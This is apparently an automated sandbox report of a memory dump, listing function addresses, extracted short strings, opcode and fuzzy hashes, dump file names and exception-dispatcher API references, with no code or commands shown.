Opcode ID: 876bafee6fbf125f422a038bcd21b2da27462b17d9c006ddee3ad4b5c6647a48
Instruction ID: 9c0fea656a7a01c74baa588c8ff97d86c018294ca0136856b420b0dc2e3921fc
Opcode Fuzzy Hash: 876bafee6fbf125f422a038bcd21b2da27462b17d9c006ddee3ad4b5c6647a48
Instruction Fuzzy Hash: 1BD14D75A006099FCB04DFB9D984AAEBBF2FF89304F158569E505AB361D730EC51CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00EA7058, Relevance: .3, Instructions: 291COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.959345986.0000000000EA0000.00000040.00000010.sdmp, Offset: 00EA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f322b7f272089a7345f4b3fb875ba758bf8a3be5c5f55733c078c0af5132920d
Instruction ID: 24bc020d1394317ca2949b56e8b93e1880dacd83c2096183b8e77b2d2a7b55e5
Opcode Fuzzy Hash: f322b7f272089a7345f4b3fb875ba758bf8a3be5c5f55733c078c0af5132920d
Instruction Fuzzy Hash: 61A1F431B002059FCB14DBB9D884AAEBBFAEF89314F518569E945EB350DB70ED05CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00EAFA50, Relevance: 5.2, Strings: 4, Instructions: 230COMMON

Download Yara Rule

Strings

(a, xrefs: 00EAFCD6
Dq, xrefs: 00EAFA67
$r, xrefs: 00EAFA93
pB, xrefs: 00EAFA81

Memory Dump Source

Source File: 00000009.00000002.959345986.0000000000EA0000.00000040.00000010.sdmp, Offset: 00EA0000, based on PE: false

Similarity

API ID:
String ID: $r$(a$Dq$pB
API String ID: 0-4246003076
Opcode ID: 433ae9567b3014fe65e335890e0461209cec063741a05141fe420b9472877d50
Instruction ID: 46917cfd71a323a0339b0f3c73601604485cf46f738119f7b7d26d11deaca97f
Opcode Fuzzy Hash: 433ae9567b3014fe65e335890e0461209cec063741a05141fe420b9472877d50
Instruction Fuzzy Hash: 99A16D74A006419FC744EF64D484899BBF2FF883157518DA9E45A9B372DB30FD8ACB90

Uniqueness

Uniqueness Score: -1.00%

Function 00F214A8, Relevance: 4.3, Strings: 3, Instructions: 577COMMON

Download Yara Rule

Strings

xP3m, xrefs: 00F21ADA
xP3m, xrefs: 00F21A6E
xP3m, xrefs: 00F21AA4

Memory Dump Source

Source File: 00000009.00000002.971271339.0000000000F20000.00000040.00000010.sdmp, Offset: 00F20000, based on PE: false

Similarity

API ID:
String ID: xP3m$xP3m$xP3m
API String ID: 0-3185842486
Opcode ID: 8570cb4a64e542a577d628ef95de56a78f0651212513a966404e35d7efac8f62
Instruction ID: 6d7ce61bcbdc2205a49eeefce1467f535ea6c6d468e39aca22bf56c1fad09779
Opcode Fuzzy Hash: 8570cb4a64e542a577d628ef95de56a78f0651212513a966404e35d7efac8f62
Instruction Fuzzy Hash: 91224534B002588FCB14CBA8D450AAEBBB6FFD5314F158469E406DB3A5CB34EC45EB95

Uniqueness

Uniqueness Score: -1.00%

Function 00EC3910, Relevance: 3.9, Strings: 3, Instructions: 118COMMON

Download Yara Rule

Strings

DH, xrefs: 00EC3978
L, xrefs: 00EC3955
K, xrefs: 00EC3922

Memory Dump Source

Source File: 00000009.00000002.963747555.0000000000EC0000.00000040.00000010.sdmp, Offset: 00EC0000, based on PE: false

Similarity

API ID:
String ID: DH$K$L
API String ID: 0-523883594
Opcode ID: 19db379978e3787f3e8664350ea0a2cf936df8399844cadf8742d5861ba718ea
Instruction ID: ae9356075eb5e7168cd492dc388d8b44391e9d917c24429e413137da2d635320
Opcode Fuzzy Hash: 19db379978e3787f3e8664350ea0a2cf936df8399844cadf8742d5861ba718ea
Instruction Fuzzy Hash: 644160357052019FC314EB75E4596AAB7E7EFC4305B408D2DE04A9B3A1DF31BD0A9B90

Uniqueness

Uniqueness Score: -1.00%

Function 00ECB778, Relevance: 2.8, Strings: 2, Instructions: 319COMMON

Download Yara Rule

Strings

hC3m, xrefs: 00ECB7EE
l, xrefs: 00ECB988

Memory Dump Source

Source File: 00000009.00000002.963747555.0000000000EC0000.00000040.00000010.sdmp, Offset: 00EC0000, based on PE: false

Similarity

API ID:
String ID: hC3m$ l
API String ID: 0-3906758957
Opcode ID: 6cec831012e5c10069b6dcdbcf423bf2fdf0f35aae9e6a273aea6c88b74096dd
Instruction ID: 6d5a8ed6b0204173afbeaf5e0475af6fe383630c2dcc4216685e7741c0504b8a
Opcode Fuzzy Hash: 6cec831012e5c10069b6dcdbcf423bf2fdf0f35aae9e6a273aea6c88b74096dd
Instruction Fuzzy Hash: EAC1D030B042458FC714DF69D481D9ABBF6EF89314B2595AEE146EB762CB32EC42CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00EAAD08, Relevance: 1.9, Strings: 1, Instructions: 679COMMON

Download Yara Rule

Strings

LW6m, xrefs: 00EAB60D

Memory Dump Source

Source File: 00000009.00000002.959345986.0000000000EA0000.00000040.00000010.sdmp, Offset: 00EA0000, based on PE: false

Similarity

API ID:
String ID: LW6m
API String ID: 0-594185276
Opcode ID: 34ad8c440f0bc2e3866ec7d461cfb9a40d9f064c05c580498d5d8e8b3ca1cc41
Instruction ID: aaa8d0232c1b782b5c9b054fa917643004a90649c40a7af80eda9eab4594ba76
Opcode Fuzzy Hash: 34ad8c440f0bc2e3866ec7d461cfb9a40d9f064c05c580498d5d8e8b3ca1cc41
Instruction Fuzzy Hash: 4A521875A002089FCB14DFA8D594AADBBF6EF8D314F1584A9E405EB361CB31ED46CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00DDF5CB, Relevance: 1.7, APIs: 1, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.951887062.0000000000DDD000.00000040.00020000.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000009.00000002.948787776.0000000000CE0000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.948865342.0000000000CE2000.00000040.00020000.sdmp Download File
Associated: 00000009.00000002.949313433.0000000000D15000.00000004.00020000.sdmp Download File
Associated: 00000009.00000002.949382723.0000000000D16000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.949465374.0000000000D1A000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.949620420.0000000000D27000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.952531612.0000000000DF7000.00000080.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12e5c5282162c95b320f9a711bd7293156ced9485df5a0c0d57a3d2333decba0
Instruction ID: b21e009b3399cdaa00e0b5922d5ce6a2545d2856bea2cd67721c64e62dca8db4
Opcode Fuzzy Hash: 12e5c5282162c95b320f9a711bd7293156ced9485df5a0c0d57a3d2333decba0
Instruction Fuzzy Hash: F551ACB054C702EFC2144B64D864BB676A8BB08348F36883BD4DF9A351D3B0DA41BB72

Uniqueness

Uniqueness Score: -1.00%

Function 00EC98B8, Relevance: 1.7, Strings: 1, Instructions: 401COMMON

Download Yara Rule

Strings

@ l, xrefs: 00EC9C10

Memory Dump Source

Source File: 00000009.00000002.963747555.0000000000EC0000.00000040.00000010.sdmp, Offset: 00EC0000, based on PE: false

Similarity

API ID:
String ID: @ l
API String ID: 0-707432718
Opcode ID: cd246b9a600cfddbc79aea4f376bcde453aa62916185505d7913e2c9d2f5bb1a
Instruction ID: eee42a6c49443626183313931ac6cc3ca4f276c715abb91a40d01ec682a9bfcb
Opcode Fuzzy Hash: cd246b9a600cfddbc79aea4f376bcde453aa62916185505d7913e2c9d2f5bb1a
Instruction Fuzzy Hash: 9AF15C34B006058FCB14DF69D598AAEB7F6EF88704B15956AE806FB365DB31DC02CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00EA1930, Relevance: 1.6, Strings: 1, Instructions: 322COMMON

Download Yara Rule

Strings

c3m, xrefs: 00EA1A5E

Memory Dump Source

Source File: 00000009.00000002.959345986.0000000000EA0000.00000040.00000010.sdmp, Offset: 00EA0000, based on PE: false

Similarity

API ID:
String ID: c3m
API String ID: 0-210730382
Opcode ID: 23d43c50f1c232aa38ef7e52a8bc00223ede7fab076050173ac30afc969bc857
Instruction ID: c3ef700ca4b9ac1030a0de8c587cb0e4212a7b88b4a90091dde264997b0f8516
Opcode Fuzzy Hash: 23d43c50f1c232aa38ef7e52a8bc00223ede7fab076050173ac30afc969bc857
Instruction Fuzzy Hash: B4C18F35A10608CFCB14EFB8D85469EBBF1FF89315F1485AED846AB350EB30A945CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00DDF7DF, Relevance: 1.6, APIs: 1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.951887062.0000000000DDD000.00000040.00020000.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000009.00000002.948787776.0000000000CE0000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.948865342.0000000000CE2000.00000040.00020000.sdmp Download File
Associated: 00000009.00000002.949313433.0000000000D15000.00000004.00020000.sdmp Download File
Associated: 00000009.00000002.949382723.0000000000D16000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.949465374.0000000000D1A000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.949620420.0000000000D27000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.952531612.0000000000DF7000.00000080.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71575c9f0b1a954e86e18bb563a243ed2ede36e8d655428d55ea9e2f010a29e5
Instruction ID: 82f784c91ddedb602a9e2da264c8af1d8a589f62cb7467f9f9c7ec709c05e199
Opcode Fuzzy Hash: 71575c9f0b1a954e86e18bb563a243ed2ede36e8d655428d55ea9e2f010a29e5
Instruction Fuzzy Hash: 6F11D23018D743CBD6198B60D464AB677E8AB0A304F36787794EF8A315C3A0D901BAB2

Uniqueness

Uniqueness Score: -1.00%

Function 00DDF603, Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL(?,?,?,?), ref: 00DDFB0B

Memory Dump Source

Source File: 00000009.00000002.951887062.0000000000DDD000.00000040.00020000.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000009.00000002.948787776.0000000000CE0000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.948865342.0000000000CE2000.00000040.00020000.sdmp Download File
Associated: 00000009.00000002.949313433.0000000000D15000.00000004.00020000.sdmp Download File
Associated: 00000009.00000002.949382723.0000000000D16000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.949465374.0000000000D1A000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.949620420.0000000000D27000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.952531612.0000000000DF7000.00000080.00020000.sdmp Download File

Yara matches

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: ee41ab8657fba18e19d71be8bcc533bbc4a19fd27d14fdd081e6819a3b8dc821
Instruction ID: d6a4f25ba283a104bc7e363c4f75f0a4f2a3d4ed20a0ab9d8bd28be31a2682f2
Opcode Fuzzy Hash: ee41ab8657fba18e19d71be8bcc533bbc4a19fd27d14fdd081e6819a3b8dc821
Instruction Fuzzy Hash: 15F0F8B148D743DBC2664B609428AF267E8AB1B304F36797B94EF453129390D940F6B2

Uniqueness

Uniqueness Score: -1.00%

Function 00DDF605, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL(?,?,?,?), ref: 00DDFB0B

Memory Dump Source

Source File: 00000009.00000002.951887062.0000000000DDD000.00000040.00020000.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000009.00000002.948787776.0000000000CE0000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.948865342.0000000000CE2000.00000040.00020000.sdmp Download File
Associated: 00000009.00000002.949313433.0000000000D15000.00000004.00020000.sdmp Download File
Associated: 00000009.00000002.949382723.0000000000D16000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.949465374.0000000000D1A000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.949620420.0000000000D27000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.952531612.0000000000DF7000.00000080.00020000.sdmp Download File

Yara matches

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: c95ebb6494ba26b3c875be86988cee008d728cd0c0f38b65f2abcb5da795043e
Instruction ID: 4c02f992503a249905e898d74f4b4ca61fef00d2447951b42741e52f41c44615
Opcode Fuzzy Hash: c95ebb6494ba26b3c875be86988cee008d728cd0c0f38b65f2abcb5da795043e
Instruction Fuzzy Hash: C8F0F87148D743DBD2654B609428AF266E8AB0A314F36793794EF543029390DA40B6B1

Uniqueness

Uniqueness Score: -1.00%

Function 00DDFA78, Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL(?,?,?,?), ref: 00DDFB0B

Memory Dump Source

Source File: 00000009.00000002.951887062.0000000000DDD000.00000040.00020000.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000009.00000002.948787776.0000000000CE0000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.948865342.0000000000CE2000.00000040.00020000.sdmp Download File
Associated: 00000009.00000002.949313433.0000000000D15000.00000004.00020000.sdmp Download File
Associated: 00000009.00000002.949382723.0000000000D16000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.949465374.0000000000D1A000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.949620420.0000000000D27000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.952531612.0000000000DF7000.00000080.00020000.sdmp Download File

Yara matches

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 68a06f450239155acfd8598f5dfc3e1968a721801d3c71966f2428cadbf13f98
Instruction ID: 41382d6d4a8654e690d89589f347c2bd1f891a656daae8c84a522f3b438b0330
Opcode Fuzzy Hash: 68a06f450239155acfd8598f5dfc3e1968a721801d3c71966f2428cadbf13f98
Instruction Fuzzy Hash: 6BF0C97148D703DBC2554B60C4549F6B2A8AB0E314F31693B94DF55301D390D941BAB1

Uniqueness

Uniqueness Score: -1.00%

Function 00EA8840, Relevance: 1.5, Strings: 1, Instructions: 277COMMON

Download Yara Rule

Strings

xP3m, xrefs: 00EA88F3

Memory Dump Source

Source File: 00000009.00000002.959345986.0000000000EA0000.00000040.00000010.sdmp, Offset: 00EA0000, based on PE: false

Similarity

API ID:
String ID: xP3m
API String ID: 0-605749514
Opcode ID: 587e6877f8f6effb0a75b255e178281bf9f15e00b5cf205394280675436db219
Instruction ID: 3689750bdcedf3fc7c1ef1b0910a74e5ab397063f63ba4a63c249c354b469169
Opcode Fuzzy Hash: 587e6877f8f6effb0a75b255e178281bf9f15e00b5cf205394280675436db219
Instruction Fuzzy Hash: 66A1CC30B002049FCB58EBB8D458BAEBAE7AFC9344F144469E906EB395DF35DC019B51

Uniqueness

Uniqueness Score: -1.00%

Function 00DDFA83, Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL(?,?,?,?), ref: 00DDFB0B

Memory Dump Source

Source File: 00000009.00000002.951887062.0000000000DDD000.00000040.00020000.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000009.00000002.948787776.0000000000CE0000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.948865342.0000000000CE2000.00000040.00020000.sdmp Download File
Associated: 00000009.00000002.949313433.0000000000D15000.00000004.00020000.sdmp Download File
Associated: 00000009.00000002.949382723.0000000000D16000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.949465374.0000000000D1A000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.949620420.0000000000D27000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.952531612.0000000000DF7000.00000080.00020000.sdmp Download File

Yara matches

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: f8460cd7f885340eb3137615226f3c0921da698a635c03267300ee5203d5c81d
Instruction ID: 81b1563fc9600a3b661213a86c9492874e02ffb24e8ce898e3e9d6415bf8aa9f
Opcode Fuzzy Hash: f8460cd7f885340eb3137615226f3c0921da698a635c03267300ee5203d5c81d
Instruction Fuzzy Hash: 98E0B67148D607DAC2658B60D864AF2A6ACAB0E354F326937A4EF55302D390E940B6B1

Uniqueness

Uniqueness Score: -1.00%

Function 00DDFA9C, Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL(?,?,?,?), ref: 00DDFB0B

Memory Dump Source

Source File: 00000009.00000002.951887062.0000000000DDD000.00000040.00020000.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000009.00000002.948787776.0000000000CE0000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.948865342.0000000000CE2000.00000040.00020000.sdmp Download File
Associated: 00000009.00000002.949313433.0000000000D15000.00000004.00020000.sdmp Download File
Associated: 00000009.00000002.949382723.0000000000D16000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.949465374.0000000000D1A000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.949620420.0000000000D27000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.952531612.0000000000DF7000.00000080.00020000.sdmp Download File

Yara matches

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 8d5121df14808aff04081ec3888ac8e6b7463da5762ebc34cd0885c5f55c0e86
Instruction ID: 4600a41ed9f7c4ce839bf2ce2fdd74be54caf7ff14d3274e8a73673d49a98bf9
Opcode Fuzzy Hash: 8d5121df14808aff04081ec3888ac8e6b7463da5762ebc34cd0885c5f55c0e86
Instruction Fuzzy Hash: 0DE0E66158D353DFC2564760C82857636999D0331473700B794C79A321D554D841E7B5

Uniqueness

Uniqueness Score: -1.00%

Function 00DDFA87, Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL(?,?,?,?), ref: 00DDFB0B

Memory Dump Source

Source File: 00000009.00000002.951887062.0000000000DDD000.00000040.00020000.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000009.00000002.948787776.0000000000CE0000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.948865342.0000000000CE2000.00000040.00020000.sdmp Download File
Associated: 00000009.00000002.949313433.0000000000D15000.00000004.00020000.sdmp Download File
Associated: 00000009.00000002.949382723.0000000000D16000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.949465374.0000000000D1A000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.949620420.0000000000D27000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.952531612.0000000000DF7000.00000080.00020000.sdmp Download File

Yara matches

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 4e9b73c72c38cb49483499699d1210bb040833bb2587e073112a3d6408833fd3
Instruction ID: cb9694878fabd0447bc36843d951c22cbe52f00f9b7f8831957acdc0d47361e5
Opcode Fuzzy Hash: 4e9b73c72c38cb49483499699d1210bb040833bb2587e073112a3d6408833fd3
Instruction Fuzzy Hash: EBE09271408346DEC2198B60C5689B276A8AF03304F36153B90DB55205C350D404E671

Uniqueness

Uniqueness Score: -1.00%

Function 00DDFAF7, Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL(?,?,?,?), ref: 00DDFB0B

Memory Dump Source

Source File: 00000009.00000002.951887062.0000000000DDD000.00000040.00020000.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000009.00000002.948787776.0000000000CE0000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.948865342.0000000000CE2000.00000040.00020000.sdmp Download File
Associated: 00000009.00000002.949313433.0000000000D15000.00000004.00020000.sdmp Download File
Associated: 00000009.00000002.949382723.0000000000D16000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.949465374.0000000000D1A000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.949620420.0000000000D27000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.952531612.0000000000DF7000.00000080.00020000.sdmp Download File

Yara matches

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 2313b2ad5d778e3363d901ad7f60d4286985aed49ed4ca5d0bfa075a32c78f0a
Instruction ID: 55bebe2c4f2a9200eace2717fda596932bf4c83d9c0df8cbc1316f10f5d164a5
Opcode Fuzzy Hash: 2313b2ad5d778e3363d901ad7f60d4286985aed49ed4ca5d0bfa075a32c78f0a
Instruction Fuzzy Hash: 59D0A930108082EEC2600731D879ABA7EAA8A03308B3A00A3D4C392212C200D000EBB9

Uniqueness

Uniqueness Score: -1.00%

Function 00EC9BD8, Relevance: 1.5, Strings: 1, Instructions: 264COMMON

Download Yara Rule

Strings

@ l, xrefs: 00EC9C10

Memory Dump Source

Source File: 00000009.00000002.963747555.0000000000EC0000.00000040.00000010.sdmp, Offset: 00EC0000, based on PE: false

Similarity

API ID:
String ID: @ l
API String ID: 0-707432718
Opcode ID: 9faaa1ebf6fcd754700eb93bdae05f66431f3654d5aa6cc175ed243ac40693f6
Instruction ID: 3ef1642be5f52ca790f9e55cdc73ca655ea227dc9a8fce5a6414ce6061ed077b
Opcode Fuzzy Hash: 9faaa1ebf6fcd754700eb93bdae05f66431f3654d5aa6cc175ed243ac40693f6
Instruction Fuzzy Hash: DAA14B34B002049FC704DF75D998E9EBBF6AF89304B158469E406EB3A2DB31EC42CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00DDFB06, Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL(?,?,?,?), ref: 00DDFB0B

Memory Dump Source

Source File: 00000009.00000002.951887062.0000000000DDD000.00000040.00020000.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000009.00000002.948787776.0000000000CE0000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.948865342.0000000000CE2000.00000040.00020000.sdmp Download File
Associated: 00000009.00000002.949313433.0000000000D15000.00000004.00020000.sdmp Download File
Associated: 00000009.00000002.949382723.0000000000D16000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.949465374.0000000000D1A000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.949620420.0000000000D27000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.952531612.0000000000DF7000.00000080.00020000.sdmp Download File

Yara matches

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 0e378bc6906624cfb81047fdedd0b6a5a918c27526756aa4e0d1a4d735daf2a8
Instruction ID: 33984f0a5ca08bded75aca15eab32d7af5a6bd1adae5dff2d278b78474015717
Opcode Fuzzy Hash: 0e378bc6906624cfb81047fdedd0b6a5a918c27526756aa4e0d1a4d735daf2a8
Instruction Fuzzy Hash: 74B01260504283CDD1544BB4C42867F25E50F22351F264A33C8D3D9305C600C9007736

Uniqueness

Uniqueness Score: -1.00%

Function 00EAB7D8, Relevance: 1.5, Strings: 1, Instructions: 243COMMON

Download Yara Rule

Strings

xP3m, xrefs: 00EABA08

Memory Dump Source

Source File: 00000009.00000002.959345986.0000000000EA0000.00000040.00000010.sdmp, Offset: 00EA0000, based on PE: false

Similarity

API ID:
String ID: xP3m
API String ID: 0-605749514
Opcode ID: ab6bdcff4ec52e9cbfd29eee7a8a928e906fbfecdb63e1b7878bb224351d48d3
Instruction ID: 2ace6e2fbb8142823962258e1be41e18e4a1b3013e1ca91b49afbf023d83dd7c
Opcode Fuzzy Hash: ab6bdcff4ec52e9cbfd29eee7a8a928e906fbfecdb63e1b7878bb224351d48d3
Instruction Fuzzy Hash: 8091CE347002418FCB14DF68D458A6ABBFAAFC9304B1440A9E906DF3A6DF34ED01DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00EC9FC0, Relevance: 1.5, Strings: 1, Instructions: 230COMMON

Download Yara Rule

Strings

hC3m, xrefs: 00ECA1F8

Memory Dump Source

Source File: 00000009.00000002.963747555.0000000000EC0000.00000040.00000010.sdmp, Offset: 00EC0000, based on PE: false

Similarity

API ID:
String ID: hC3m
API String ID: 0-1784826812
Opcode ID: 6564bbfff6086eb692d43d4d11886a469a3ca2c8e8c70f115424262d4f5554b7
Instruction ID: e0a00b49e36c0a83ecec0363d67e56e5386a02a378d2260d147c9ece0cd32fca
Opcode Fuzzy Hash: 6564bbfff6086eb692d43d4d11886a469a3ca2c8e8c70f115424262d4f5554b7
Instruction Fuzzy Hash: 1681B1707052048FC7189B39D958E697BF6AF89348B1950BEE006DB3B2CE72DC46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F21CA8, Relevance: 1.4, Instructions: 1405COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.971271339.0000000000F20000.00000040.00000010.sdmp, Offset: 00F20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d8ae6567cd40a3fedd9fb7889a9d8c1d51229258546c9879659f44e0b7d9938
Instruction ID: 59b024efe556dc8cda932811c9ef63d46c1ff3ea54c3dbf500eb9766e70b52a3
Opcode Fuzzy Hash: 3d8ae6567cd40a3fedd9fb7889a9d8c1d51229258546c9879659f44e0b7d9938
Instruction Fuzzy Hash: 26C24C74B006189FCB14DBA4C890EEDB7B6EF88704F108099E50AAB7A5CB71ED85DF51

Uniqueness

Uniqueness Score: -1.00%

Function 00EA9917, Relevance: 1.4, Strings: 1, Instructions: 150COMMON

Download Yara Rule

Strings

1, xrefs: 00EA9920

Memory Dump Source

Source File: 00000009.00000002.959345986.0000000000EA0000.00000040.00000010.sdmp, Offset: 00EA0000, based on PE: false

Similarity

API ID:
String ID: 1
API String ID: 0-2212294583
Opcode ID: 1a01a921a30824157b24216c4c3628cb7d1432db26c54720def3ffebd56c3c78
Instruction ID: c27b878acc92859792c9e19fa162eecd6e7fb27b09ffb42f35ec1e9964477c20
Opcode Fuzzy Hash: 1a01a921a30824157b24216c4c3628cb7d1432db26c54720def3ffebd56c3c78
Instruction Fuzzy Hash: 3C51A630A002499FDB14EF78D889BAEB7F5FF89304F408929E545AB251DB70BD85CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00EC28D8, Relevance: 1.4, Strings: 1, Instructions: 138COMMON

Download Yara Rule

Strings

pFl, xrefs: 00EC2918

Memory Dump Source

Source File: 00000009.00000002.963747555.0000000000EC0000.00000040.00000010.sdmp, Offset: 00EC0000, based on PE: false

Similarity

API ID:
String ID: pFl
API String ID: 0-941757518
Opcode ID: 33a4d285862314d0ff79e7855561baf066727791ce470223757ffdadb3463e57
Instruction ID: 6f84152fa36ecde671d4208095f6dd8c1327db74735ef100f7293de99481fecd
Opcode Fuzzy Hash: 33a4d285862314d0ff79e7855561baf066727791ce470223757ffdadb3463e57
Instruction Fuzzy Hash: F44191305043406FC350EB65D851ACABBE6EFC1314F858E6ED0869F6A2CB74BA4DDB91

Uniqueness

Uniqueness Score: -1.00%

Function 00EC048A, Relevance: 1.4, Instructions: 1368COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.963747555.0000000000EC0000.00000040.00000010.sdmp, Offset: 00EC0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97fdad2e64ad9fdef799eed1e785259b78c77ad4fa2d4bb0a43b514ba4c19d04
Instruction ID: 7317232b52dc5f34d06d1607c1f31324a39c27bb9c874bd17ae2c5c509c0642b
Opcode Fuzzy Hash: 97fdad2e64ad9fdef799eed1e785259b78c77ad4fa2d4bb0a43b514ba4c19d04
Instruction Fuzzy Hash: 56E21834A002599FDB24EB90E999BEDB772EFC8300F4040A9E54A37795CE352E85EF51

Uniqueness

Uniqueness Score: -1.00%

Function 00EC2910, Relevance: 1.4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

Strings

pFl, xrefs: 00EC2918

Memory Dump Source

Source File: 00000009.00000002.963747555.0000000000EC0000.00000040.00000010.sdmp, Offset: 00EC0000, based on PE: false

Similarity

API ID:
String ID: pFl
API String ID: 0-941757518
Opcode ID: d6f10925cc0ea6c8909eb525a1f5ee1e2d146caf0602cf61a851e50292bb689f
Instruction ID: 188b2f6415478aa1e3e4a5f19169bf6a1ee83f013ca60e8b19c9184f08b41ec0
Opcode Fuzzy Hash: d6f10925cc0ea6c8909eb525a1f5ee1e2d146caf0602cf61a851e50292bb689f
Instruction Fuzzy Hash: B2418C306047406FD354EF61E842A8AB7E6EFC1314F81CD2DD15A9B6A2CB70BA4DDB91

Uniqueness

Uniqueness Score: -1.00%

Function 00EAE578, Relevance: 1.4, Strings: 1, Instructions: 102COMMON

Download Yara Rule

Strings

x8, xrefs: 00EAE644

Memory Dump Source

Source File: 00000009.00000002.959345986.0000000000EA0000.00000040.00000010.sdmp, Offset: 00EA0000, based on PE: false

Similarity

API ID:
String ID: x8
API String ID: 0-1311532678
Opcode ID: 4b05acf97e5d0b6b377964bfd42847d57160ae4bbe75a7c7c2f68b23ad750b7b
Instruction ID: 1a4390731e16094e1533accb81e5abddfcb8bb7fee964c0c2083d63fb61005e4
Opcode Fuzzy Hash: 4b05acf97e5d0b6b377964bfd42847d57160ae4bbe75a7c7c2f68b23ad750b7b
Instruction Fuzzy Hash: 53418270F002049FCB54DBA8D455AAEBBF6EFCC300B148429D805F7351DB30AE469BA1

Uniqueness

Uniqueness Score: -1.00%

Function 00EAE588, Relevance: 1.3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

Strings

x8, xrefs: 00EAE644

Memory Dump Source

Source File: 00000009.00000002.959345986.0000000000EA0000.00000040.00000010.sdmp, Offset: 00EA0000, based on PE: false

Similarity

API ID:
String ID: x8
